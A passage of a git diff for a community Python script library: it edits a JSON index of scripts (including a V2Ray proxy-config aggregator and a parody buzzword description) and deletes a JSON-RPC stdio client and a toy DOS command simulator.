HTTP requests TIMEOUT = 15 # seconds # Define the fixed text for the initial configuration fixed_text = \"\"\"#profile-title: base64:8J+GkyBHaXRodWIgfCBCYXJyeS1mYXIg8J+ltw== #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" # Base64 decoding function def decode_base64(encoded): decoded = \"\" for encoding in [\"utf-8\", \"iso-8859-1\"]: try: decoded = pybase64.b64decode(encoded + b\"=\" * (-len(encoded) % 4)).decode(encoding) break except (UnicodeDecodeError, binascii.Error): pass return decoded # Function to decode base64-encoded links with a timeout def decode_links(links): decoded_data = [] for link in links: try: response = requests.get(link, timeout=TIMEOUT) encoded_bytes = response.content decoded_text = decode_base64(encoded_bytes) decoded_data.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_data # Function to decode directory links with a timeout def decode_dir_links(dir_links): decoded_dir_links = [] for link in dir_links: try: response = requests.get(link, timeout=TIMEOUT) decoded_text = response.text decoded_dir_links.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_dir_links # Filter function to select lines based on specified protocols and remove duplicates (only for config lines) def filter_for_protocols(data, protocols): filtered_data = [] seen_configs = set() # Process each decoded content for content in data: if content and content.strip(): # Skip empty content lines = content.strip().split('\\n') for line in lines: line = line.strip() if line.startswith('#') or not line: # Always keep comment/metadata/empty lines filtered_data.append(line) elif any(protocol in line for protocol in protocols): if line not in seen_configs: filtered_data.append(line) seen_configs.add(line) return filtered_data # Create necessary directories if they don't exist def ensure_directories_exist(): output_folder = os.path.join(os.path.dirname(__file__), \"..\") base64_folder = os.path.join(output_folder, \"Base64\") if not os.path.exists(output_folder): os.makedirs(output_folder) if not os.path.exists(base64_folder): os.makedirs(base64_folder) return output_folder, base64_folder # Main function to process links and write output files def main(): output_folder, base64_folder = ensure_directories_exist() # Ensure directories are created # Clean existing output files FIRST before processing print(\"Cleaning existing files...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") if os.path.exists(output_filename): os.remove(output_filename) print(f\"Removed: {output_filename}\") if os.path.exists(main_base64_filename): os.remove(main_base64_filename) print(f\"Removed: {main_base64_filename}\") for i in range(1, 21): # Clean Sub1.txt to Sub20.txt filename = os.path.join(output_folder, f\"Sub{i}.txt\") if os.path.exists(filename): os.remove(filename) print(f\"Removed: {filename}\") filename_base64 = os.path.join(base64_folder, f\"Sub{i}_base64.txt\") if os.path.exists(filename_base64): os.remove(filename_base64) print(f\"Removed: {filename_base64}\") print(\"Starting to fetch and process configs...\") protocols = [\"vmess\", \"vless\", \"trojan\", \"ss\", \"ssr\", \"hy2\", \"tuic\", \"warp://\"] links = [ \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/app/sub.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_1.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_2.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_3.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_4.txt\", \"https://raw.githubusercontent.com/Surfboardv2ray/TGParse/main/splitted/mixed\" ] dir_links = [ \"https://raw.githubusercontent.com/itsyebekhe/PSG/main/lite/subscriptions/xray/normal/mix\", \"https://raw.githubusercontent.com/arshiacomplus/v2rayExtractor/refs/heads/main/mix/sub.html\", \"https://raw.githubusercontent.com/Rayan-Config/C-Sub/refs/heads/main/configs/proxy.txt\", \"https://raw.githubusercontent.com/mahdibland/ShadowsocksAggregator/master/Eternity.txt\", \"https://raw.githubusercontent.com/Everyday-VPN/Everyday-VPN/main/subscription/main.txt\", \"https://raw.githubusercontent.com/MahsaNetConfigTopic/config/refs/heads/main/xray_final.txt\", ] print(\"Fetching base64 encoded configs...\") decoded_links = decode_links(links) print(f\"Decoded {len(decoded_links)} base64 sources\") print(\"Fetching direct text configs...\") decoded_dir_links = decode_dir_links(dir_links) print(f\"Decoded {len(decoded_dir_links)} direct text sources\") print(\"Combining and filtering configs...\") combined_data = decoded_links + decoded_dir_links merged_configs = filter_for_protocols(combined_data, protocols) print(f\"Found {len(merged_configs)} unique configs after filtering\") # Write merged configs to output file print(\"Writing main config file...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") with open(output_filename, \"w\", encoding=\"utf-8\") as f: f.write(fixed_text) for config in merged_configs: f.write(config + \"\\n\") print(f\"Main config file created: {output_filename}\") # Create base64 version of the main file print(\"Creating base64 version...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: main_config_data = f.read() main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") with open(main_base64_filename, \"w\", encoding=\"utf-8\") as f: encoded_main_config = base64.b64encode(main_config_data.encode()).decode() f.write(encoded_main_config) print(f\"Base64 config file created: {main_base64_filename}\") # Split merged configs into smaller files (no more than 500 configs per file) print(\"Creating split files...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: lines = f.readlines() num_lines = len(lines) max_lines_per_file = 500 num_files = (num_lines + max_lines_per_file - 1) // max_lines_per_file print(f\"Splitting into {num_files} files with max {max_lines_per_file} lines each\") for i in range(num_files): profile_title = f\"🆓 Git:barry-far | Sub{i+1} 🔥\" encoded_title = base64.b64encode(profile_title.encode()).decode() custom_fixed_text = f\"\"\"#profile-title: base64:{encoded_title} #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" input_filename = os.path.join(output_folder, f\"Sub{i + 1}.txt\") with open(input_filename, \"w\", encoding=\"utf-8\") as f: f.write(custom_fixed_text) start_index = i * max_lines_per_file end_index = min((i + 1) * max_lines_per_file, num_lines) for line in lines[start_index:end_index]: f.write(line) print(f\"Created: Sub{i + 1}.txt\") with open(input_filename, \"r\", encoding=\"utf-8\") as input_file: config_data = input_file.read() base64_output_filename = os.path.join(base64_folder, f\"Sub{i + 1}_base64.txt\") with open(base64_output_filename, \"w\", encoding=\"utf-8\") as output_file: encoded_config = base64.b64encode(config_data.encode()).decode() output_file.write(encoded_config) print(f\"Created: Sub{i + 1}_base64.txt\") print(f\"\\nProcess completed successfully!\") print(f\"Total configs processed: {len(merged_configs)}\") print(f\"Files created:\") print(f\" - All_Configs_Sub.txt\") print(f\" - All_Configs_base64_Sub.txt\") print(f\" - {num_files} split files (Sub1.txt to Sub{num_files}.txt)\") print(f\" - {num_files} base64 split files (Sub1_base64.txt to Sub{num_files}_base64.txt)\") if __name__ == \"__main__\": main()", - "desc_en": "import pybase64 import base64 import requests import binascii import os # Define a fixed timeout for HTTP requests TIMEOUT = 15 # seconds # Define the fixed text for the initial configuration fixed_text = \"\"\"#profile-title: base64:8J+GkyBHaXRodWIgfCBCYXJyeS1mYXIg8J+ltw== #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" # Base64 decoding function def decode_base64(encoded): decoded = \"\" for encoding in [\"utf-8\", \"iso-8859-1\"]: try: decoded = pybase64.b64decode(encoded + b\"=\" * (-len(encoded) % 4)).decode(encoding) break except (UnicodeDecodeError, binascii.Error): pass return decoded # Function to decode base64-encoded links with a timeout def decode_links(links): decoded_data = [] for link in links: try: response = requests.get(link, timeout=TIMEOUT) encoded_bytes = response.content decoded_text = decode_base64(encoded_bytes) decoded_data.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_data # Function to decode directory links with a timeout def decode_dir_links(dir_links): decoded_dir_links = [] for link in dir_links: try: response = requests.get(link, timeout=TIMEOUT) decoded_text = response.text decoded_dir_links.append(decoded_text) except requests.RequestException: pass # If the request fails or times out, skip it return decoded_dir_links # Filter function to select lines based on specified protocols and remove duplicates (only for config lines) def filter_for_protocols(data, protocols): filtered_data = [] seen_configs = set() # Process each decoded content for content in data: if content and content.strip(): # Skip empty content lines = content.strip().split('\\n') for line in lines: line = line.strip() if line.startswith('#') or not line: # Always keep comment/metadata/empty lines filtered_data.append(line) elif any(protocol in line for protocol in protocols): if line not in seen_configs: filtered_data.append(line) seen_configs.add(line) return filtered_data # Create necessary directories if they don't exist def ensure_directories_exist(): output_folder = os.path.join(os.path.dirname(__file__), \"..\") base64_folder = os.path.join(output_folder, \"Base64\") if not os.path.exists(output_folder): os.makedirs(output_folder) if not os.path.exists(base64_folder): os.makedirs(base64_folder) return output_folder, base64_folder # Main function to process links and write output files def main(): output_folder, base64_folder = ensure_directories_exist() # Ensure directories are created # Clean existing output files FIRST before processing print(\"Cleaning existing files...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") if os.path.exists(output_filename): os.remove(output_filename) print(f\"Removed: {output_filename}\") if os.path.exists(main_base64_filename): os.remove(main_base64_filename) print(f\"Removed: {main_base64_filename}\") for i in range(1, 21): # Clean Sub1.txt to Sub20.txt filename = os.path.join(output_folder, f\"Sub{i}.txt\") if os.path.exists(filename): os.remove(filename) print(f\"Removed: {filename}\") filename_base64 = os.path.join(base64_folder, f\"Sub{i}_base64.txt\") if os.path.exists(filename_base64): os.remove(filename_base64) print(f\"Removed: {filename_base64}\") print(\"Starting to fetch and process configs...\") protocols = [\"vmess\", \"vless\", \"trojan\", \"ss\", \"ssr\", \"hy2\", \"tuic\", \"warp://\"] links = [ \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/app/sub.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_1.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_2.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_3.txt\", \"https://raw.githubusercontent.com/mahsanet/MahsaFreeConfig/refs/heads/main/mtn/sub_4.txt\", \"https://raw.githubusercontent.com/Surfboardv2ray/TGParse/main/splitted/mixed\" ] dir_links = [ \"https://raw.githubusercontent.com/itsyebekhe/PSG/main/lite/subscriptions/xray/normal/mix\", \"https://raw.githubusercontent.com/arshiacomplus/v2rayExtractor/refs/heads/main/mix/sub.html\", \"https://raw.githubusercontent.com/Rayan-Config/C-Sub/refs/heads/main/configs/proxy.txt\", \"https://raw.githubusercontent.com/mahdibland/ShadowsocksAggregator/master/Eternity.txt\", \"https://raw.githubusercontent.com/Everyday-VPN/Everyday-VPN/main/subscription/main.txt\", \"https://raw.githubusercontent.com/MahsaNetConfigTopic/config/refs/heads/main/xray_final.txt\", ] print(\"Fetching base64 encoded configs...\") decoded_links = decode_links(links) print(f\"Decoded {len(decoded_links)} base64 sources\") print(\"Fetching direct text configs...\") decoded_dir_links = decode_dir_links(dir_links) print(f\"Decoded {len(decoded_dir_links)} direct text sources\") print(\"Combining and filtering configs...\") combined_data = decoded_links + decoded_dir_links merged_configs = filter_for_protocols(combined_data, protocols) print(f\"Found {len(merged_configs)} unique configs after filtering\") # Write merged configs to output file print(\"Writing main config file...\") output_filename = os.path.join(output_folder, \"All_Configs_Sub.txt\") with open(output_filename, \"w\", encoding=\"utf-8\") as f: f.write(fixed_text) for config in merged_configs: f.write(config + \"\\n\") print(f\"Main config file created: {output_filename}\") # Create base64 version of the main file print(\"Creating base64 version...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: main_config_data = f.read() main_base64_filename = os.path.join(output_folder, \"All_Configs_base64_Sub.txt\") with open(main_base64_filename, \"w\", encoding=\"utf-8\") as f: encoded_main_config = base64.b64encode(main_config_data.encode()).decode() f.write(encoded_main_config) print(f\"Base64 config file created: {main_base64_filename}\") # Split merged configs into smaller files (no more than 500 configs per file) print(\"Creating split files...\") with open(output_filename, \"r\", encoding=\"utf-8\") as f: lines = f.readlines() num_lines = len(lines) max_lines_per_file = 500 num_files = (num_lines + max_lines_per_file - 1) // max_lines_per_file print(f\"Splitting into {num_files} files with max {max_lines_per_file} lines each\") for i in range(num_files): profile_title = f\"🆓 Git:barry-far | Sub{i+1} 🔥\" encoded_title = base64.b64encode(profile_title.encode()).decode() custom_fixed_text = f\"\"\"#profile-title: base64:{encoded_title} #profile-update-interval: 1 #subscription-userinfo: upload=29; download=12; total=10737418240000000; expire=2546249531 #support-url: https://github.com/barry-far/V2ray-config #profile-web-page-url: https://github.com/barry-far/V2ray-config \"\"\" input_filename = os.path.join(output_folder, f\"Sub{i + 1}.txt\") with open(input_filename, \"w\", encoding=\"utf-8\") as f: f.write(custom_fixed_text) start_index = i * max_lines_per_file end_index = min((i + 1) * max_lines_per_file, num_lines) for line in lines[start_index:end_index]: f.write(line) print(f\"Created: Sub{i + 1}.txt\") with open(input_filename, \"r\", encoding=\"utf-8\") as input_file: config_data = input_file.read() base64_output_filename = os.path.join(base64_folder, f\"Sub{i + 1}_base64.txt\") with open(base64_output_filename, \"w\", encoding=\"utf-8\") as output_file: encoded_config = base64.b64encode(config_data.encode()).decode() output_file.write(encoded_config) print(f\"Created: Sub{i + 1}_base64.txt\") print(f\"\\nProcess completed successfully!\") print(f\"Total configs processed: {len(merged_configs)}\") print(f\"Files created:\") print(f\" - All_Configs_Sub.txt\") print(f\" - All_Configs_base64_Sub.txt\") print(f\" - {num_files} split files (Sub1.txt to Sub{num_files}.txt)\") print(f\" - {num_files} base64 split files (Sub1_base64.txt to Sub{num_files}_base64.txt)\") if __name__ == \"__main__\": main()", - "category": "basic", - "file": "scripts/basic/cipilot_mobvhfz8.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Viển", - "author_en": "Viển", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-23", - "updated": null, - "status": "removed", - "lines": 385 - }, - { - "id": "script_mofoo3s6", - "name": "高科技安全卫士", - "name_en": "高科技安全卫士", - "desc": "当这个程序启动的瞬间,量子纠缠态的算力云便以超导纳米级谐振频率刺破硅基晶格的拓扑壁垒,触发区块链上分布式神经网络的多维共识算法——它不计算,而是直接在亚原子尺度进行认知跃迁。深度学习框架下的异构并行流处理器,将数据以太以超光速在类脑芯片的混沌逻辑门中解域化重组,每一个比特都在零延迟的熵减管道里完成螺旋式自迭代。边缘节点上的玻色-爱因斯坦凝态缓存,通过量子隧穿效应预载了所有潜在请求的存在概率云,使得线程调度如同在莫比乌斯曲面上弹射光子。用户刚产生需求念头的千亿分之一普朗克时间前,结果已从超导环路的真空涨落中涅盘而出。负载峰值?不过是让动态电压频率调节的仿生算法在霍金辐射级的能效曲面上多跳几次华尔兹。内存回收采用暗物质驱动的分代复制算法,指针偏移快过引力波干涉仪的采样周期。这,就是我们的“混沌天衍引擎”", - "desc_en": "当这个程序启动的瞬间,量子纠缠态的算力云便以超导纳米级谐振频率刺破硅基晶格的拓扑壁垒,触发区块链上分布式神经网络的多维共识算法——它不计算,而是直接在亚原子尺度进行认知跃迁。深度学习框架下的异构并行流处理器,将数据以太以超光速在类脑芯片的混沌逻辑门中解域化重组,每一个比特都在零延迟的熵减管道里完成螺旋式自迭代。边缘节点上的玻色-爱因斯坦凝态缓存,通过量子隧穿效应预载了所有潜在请求的存在概率云,使得线程调度如同在莫比乌斯曲面上弹射光子。用户刚产生需求念头的千亿分之一普朗克时间前,结果已从超导环路的真空涨落中涅盘而出。负载峰值?不过是让动态电压频率调节的仿生算法在霍金辐射级的能效曲面上多跳几次华尔兹。内存回收采用暗物质驱动的分代复制算法,指针偏移快过引力波干涉仪的采样周期。这,就是我们的“混沌天衍引擎”", - "category": "basic", - "file": "scripts/basic/script_mofoo3s6.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "chaojiyuzhouwudichengxuyuan-gaoxiaojijian", - "author_en": "chaojiyuzhouwudichengxuyuan-gaoxiaojijian", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-26", - "updated": null, - "status": "active", - "lines": 359 - }, - { - "id": "mindos_novus_2_3_mogqtz27", - "name": "MINDOS(NOVUS 2.3)", - "name_en": "MINDOS(NOVUS 2.3)", - "desc": "一个自制操作系统", - "desc_en": "一个自制操作系统", - "category": "other", - "file": "scripts/other/mindos_novus_2_3_mogqtz27.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 420 - }, - { - "id": "community_户子模拟器__by_dreamingbob", - "name": "户子模拟器 — by dreamingbob", - "name_en": "户子模拟器 — by dreamingbob", - "desc": "[投稿] 户子模拟器 — by dreamingbob", - "desc_en": "[投稿] 户子模拟器 — by dreamingbob", - "category": "basic", - "file": "scripts/ui/script_mogykcgu.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "社区投稿", - "author_en": "社区投稿", - "tags": [ - "community", - "basic" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 1097 - }, - { - "id": "script_mohivn8v", - "name": "收音机", - "name_en": "收音机", - "desc": "实时收听世界各国的收音机", - "desc_en": "实时收听世界各国的收音机", - "category": "ui", - "file": "scripts/ui/script_mohivn8v.html", - "thumbnail": null, - "version": 1, - "file_type": "html", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-27", - "updated": null, - "status": "active", - "lines": 559 - }, - { - "id": "script_moio9udy", - "name": "验证器的密钥生成器", - "name_en": "验证器的密钥生成器", - "desc": "生成在谷歌验证器等验证软件的密钥", - "desc_en": "生成在谷歌验证器等验证软件的密钥", - "category": "basic", - "file": "scripts/basic/script_moio9udy.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-28", - "updated": null, - "status": "active", - "lines": 159 - }, - { - "id": "script_moiq6nby", - "name": "骰子", - "name_en": "骰子", - "desc": "一个真实的骰子", - "desc_en": "一个真实的骰子", - "category": "ui", - "file": "scripts/ui/script_moiq6nby.html", - "thumbnail": null, - "version": 1, - "file_type": "html", - "author": "dreamingbob", - "author_en": "dreamingbob", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-28", - "updated": null, - "status": "active", - "lines": 425 - }, - { - "id": "script_mol0mojg", - "name": "协同效应", - "name_en": "协同效应", - "desc": "幸运房东丐版", - "desc_en": "幸运房东丐版", - "category": "other", - "file": "scripts/other/script_mol0mojg.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "Daoyu268", - "author_en": "Daoyu268", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-04-30", - "updated": null, - "status": "active", - "lines": 1049 - } - ] -} diff --git a/script_library/scripts/basic/cipilot_mobvhfz8.py b/script_library/scripts/basic/cipilot_mobvhfz8.py deleted file mode 100644 index 25ab44d..0000000 --- a/script_library/scripts/basic/cipilot_mobvhfz8.py +++ /dev/null @@ -1,385 +0,0 @@ -""" -Minimal async JSON-RPC 2.0 client for stdio transport - -This uses threading to handle blocking IO in an async-friendly way. -Much simpler and more reliable than pure asyncio subprocess. -""" - -import asyncio -import inspect -import json -import threading -import uuid -from collections.abc import Awaitable, Callable -from typing import Any - - -class JsonRpcError(Exception): - """JSON-RPC error response""" - - def __init__(self, code: int, message: str, data: Any = None): - self.code = code - self.message = message - self.data = data - super().__init__(f"JSON-RPC Error {code}: {message}") - - -class ProcessExitedError(Exception): - """Error raised when the CLI process exits unexpectedly""" - - pass - - -RequestHandler = Callable[[dict], dict | Awaitable[dict]] - - -class JsonRpcClient: - """ - Minimal async JSON-RPC 2.0 client for stdio transport - - Uses threads for blocking IO but provides async interface. - """ - - def __init__(self, process): - """ - Create client from subprocess.Popen with stdin/stdout pipes - - Args: - process: subprocess.Popen with stdin=PIPE, stdout=PIPE - """ - self.process = process - self.pending_requests: dict[str, asyncio.Future] = {} - self.notification_handler: Callable[[str, dict], None] | None = None - self.request_handlers: dict[str, RequestHandler] = {} - self._running = False - self._read_thread: threading.Thread | None = None - self._stderr_thread: threading.Thread | None = None - self._loop: asyncio.AbstractEventLoop | None = None - self._write_lock = threading.Lock() - self._pending_lock = threading.Lock() - self._process_exit_error: str | None = None - self._stderr_output: list[str] = [] - self._stderr_lock = threading.Lock() - self.on_close: Callable[[], None] | None = None - - def start(self, loop: asyncio.AbstractEventLoop | None = None): - """Start listening for messages in background thread""" - if not self._running: - self._running = True - # Always use the provided loop or get the running loop - self._loop = loop or asyncio.get_running_loop() - self._read_thread = threading.Thread(target=self._read_loop, daemon=True) - self._read_thread.start() - # Start stderr reader thread if process has stderr - if hasattr(self.process, "stderr") and self.process.stderr: - self._stderr_thread = threading.Thread(target=self._stderr_loop, daemon=True) - self._stderr_thread.start() - - def _stderr_loop(self): - """Read stderr in background to capture error messages""" - try: - while self._running: - if not self.process.stderr: - break - line = self.process.stderr.readline() - if not line: - break - with self._stderr_lock: - self._stderr_output.append( - line.decode("utf-8") if isinstance(line, bytes) else line - ) - except Exception: - pass # Ignore errors reading stderr - - def get_stderr_output(self) -> str: - """Get captured stderr output""" - with self._stderr_lock: - return "".join(self._stderr_output).strip() - - async def stop(self): - """Stop listening and clean up""" - self._running = False - if self._read_thread: - self._read_thread.join(timeout=1.0) - if self._stderr_thread: - self._stderr_thread.join(timeout=1.0) - - async def request( - self, method: str, params: dict | None = None, timeout: float | None = None - ) -> Any: - """ - Send a JSON-RPC request and wait for response - - Args: - method: Method name - params: Optional parameters - timeout: Optional request timeout in seconds. If None (default), - waits indefinitely for the server to respond. - - Returns: - The result from the response - - Raises: - JsonRpcError: If server returns an error - asyncio.TimeoutError: If request times out (only when timeout is set) - """ - request_id = str(uuid.uuid4()) - - # Use the stored loop to ensure consistency with the reader thread - if not self._loop: - raise RuntimeError("Client not started. Call start() first.") - - future = self._loop.create_future() - with self._pending_lock: - self.pending_requests[request_id] = future - - message = { - "jsonrpc": "2.0", - "id": request_id, - "method": method, - "params": params or {}, - } - - await self._send_message(message) - - try: - if timeout is not None: - return await asyncio.wait_for(future, timeout=timeout) - return await future - finally: - with self._pending_lock: - self.pending_requests.pop(request_id, None) - - async def notify(self, method: str, params: dict | None = None): - """ - Send a JSON-RPC notification (no response expected) - - Args: - method: Method name - params: Optional parameters - """ - message = { - "jsonrpc": "2.0", - "method": method, - "params": params or {}, - } - await self._send_message(message) - - def set_notification_handler(self, handler: Callable[[str, dict], None]): - """Set handler for incoming notifications from server""" - self.notification_handler = handler - - def set_request_handler(self, method: str, handler: RequestHandler): - if handler is None: - self.request_handlers.pop(method, None) - else: - self.request_handlers[method] = handler - - async def _send_message(self, message: dict): - """Send a JSON-RPC message with Content-Length header""" - loop = self._loop or asyncio.get_event_loop() - - def write(): - content = json.dumps(message, separators=(",", ":")) - content_bytes = content.encode("utf-8") - header = f"Content-Length: {len(content_bytes)}\r\n\r\n" - with self._write_lock: - self.process.stdin.write(header.encode("utf-8")) - self.process.stdin.write(content_bytes) - self.process.stdin.flush() - - # Run in thread pool to avoid blocking - await loop.run_in_executor(None, write) - - def _read_loop(self): - """Read messages from the stream (runs in thread)""" - try: - while self._running: - message = self._read_message() - if message: - self._handle_message(message) - else: - # No message means stream closed - process likely exited - break - except EOFError: - # Stream closed - check if process exited - pass - except Exception as e: - if self._running: - # Store error for pending requests - self._process_exit_error = str(e) - - # Process exited or read failed - fail all pending requests - if self._running: - self._fail_pending_requests() - if self.on_close is not None: - self.on_close() - - def _fail_pending_requests(self): - """Fail all pending requests when process exits""" - # Build error message with stderr output - stderr_output = self.get_stderr_output() - return_code = None - if hasattr(self.process, "poll"): - return_code = self.process.poll() - - if stderr_output: - error_msg = f"CLI process exited with code {return_code}\nstderr: {stderr_output}" - elif return_code is not None: - error_msg = f"CLI process exited with code {return_code}" - else: - error_msg = "CLI process exited unexpectedly" - - # Fail all pending requests - with self._pending_lock: - for request_id, future in list(self.pending_requests.items()): - if not future.done(): - exc = ProcessExitedError(error_msg) - loop = future.get_loop() - loop.call_soon_threadsafe(future.set_exception, exc) - - def _read_exact(self, num_bytes: int) -> bytes: - """ - Read exactly num_bytes, handling partial/short reads from pipes. - - Args: - num_bytes: Number of bytes to read - - Returns: - Bytes read from stream - - Raises: - EOFError: If stream ends before reading all bytes - """ - chunks = [] - remaining = num_bytes - while remaining > 0: - chunk = self.process.stdout.read(remaining) - if not chunk: - raise EOFError("Unexpected end of stream while reading JSON-RPC message") - chunks.append(chunk) - remaining -= len(chunk) - return b"".join(chunks) - - def _read_message(self) -> dict | None: - """ - Read a single JSON-RPC message with Content-Length header (blocking) - - Returns: - Parsed JSON message or None if connection closed - """ - # Read header line - header_line = self.process.stdout.readline() - if not header_line: - return None - - # Parse Content-Length - header = header_line.decode("utf-8").strip() - if not header.startswith("Content-Length:"): - return None - - content_length = int(header.split(":")[1].strip()) - - # Read empty line - self.process.stdout.readline() - - # Read exact content using loop to handle short reads - content_bytes = self._read_exact(content_length) - content = content_bytes.decode("utf-8") - - return json.loads(content) - - def _handle_message(self, message: dict): - """Handle an incoming message (response or notification)""" - # Check if it's a response to our request - if "id" in message: - with self._pending_lock: - future = self.pending_requests.get(message["id"]) - - if future is not None: - loop = future.get_loop() - - if "error" in message: - error = message["error"] - exc = JsonRpcError( - error.get("code", -1), - error.get("message", "Unknown error"), - error.get("data"), - ) - loop.call_soon_threadsafe(future.set_exception, exc) - elif "result" in message: - loop.call_soon_threadsafe(future.set_result, message["result"]) - else: - exc = ValueError("Invalid JSON-RPC response") - loop.call_soon_threadsafe(future.set_exception, exc) - return - - # Check if it's a notification from server - if "method" in message and "id" not in message: - if self.notification_handler and self._loop: - method = message["method"] - params = message.get("params", {}) - # Schedule notification handler on the event loop for thread safety - self._loop.call_soon_threadsafe(self.notification_handler, method, params) - return - - # Otherwise handle as incoming request (tool.call, etc.) - if "method" in message and "id" in message: - self._handle_request(message) - - def _handle_request(self, message: dict): - method = message.get("method", "") - handler = self.request_handlers.get(method) - if not handler: - if self._loop: - asyncio.run_coroutine_threadsafe( - self._send_error_response( - message["id"], -32601, f"Method not found: {message['method']}", None - ), - self._loop, - ) - return - if not self._loop: - return - asyncio.run_coroutine_threadsafe( - self._dispatch_request(message, handler), - self._loop, - ) - - async def _dispatch_request(self, message: dict, handler: RequestHandler): - try: - params = message.get("params", {}) - outcome = handler(params) - if inspect.isawaitable(outcome): - outcome = await outcome - if outcome is not None and not isinstance(outcome, dict): - raise ValueError( - f"Request handler must return a dict, got {type(outcome).__name__}" - ) - await self._send_response(message["id"], outcome) - except JsonRpcError as exc: - await self._send_error_response(message["id"], exc.code, exc.message, exc.data) - except Exception as exc: # pylint: disable=broad-except - await self._send_error_response(message["id"], -32603, str(exc), None) - - async def _send_response(self, request_id: str, result: dict | None): - response = { - "jsonrpc": "2.0", - "id": request_id, - "result": result, - } - await self._send_message(response) - - async def _send_error_response( - self, request_id: str, code: int, message: str, data: dict | None - ): - response = { - "jsonrpc": "2.0", - "id": request_id, - "error": { - "code": code, - "message": message, - "data": data, - }, - } - await self._send_message(response) \ No newline at end of file diff --git a/script_library/scripts/basic/cmd1_0_mnirvpz0.py b/script_library/scripts/basic/cmd1_0_mnirvpz0.py deleted file mode 100644 index e9ca7a9..0000000 --- a/script_library/scripts/basic/cmd1_0_mnirvpz0.py +++ /dev/null @@ -1,92 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "\033[91m" # 红 -G = "\033[92m" # 绿 -Y = "\033[93m" # 黄 -B = "\033[94m" # 蓝 -C = "\033[96m" # 青 -M = "\033[95m" # 紫 -X = "\033[0m" -new_l = "\n" -cmd = "" - -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用", - "format.bat":"format" -} -print("DOS改版") - -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == "\n": - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print(R+"file:") - print(B) - for i in list(file): - print(" "+i) - print(G+"file number:"+str(len(file)));print(X) - elif cmd == "oaoa": - print(G+"91*10086=917826");print(X) - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1145): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - 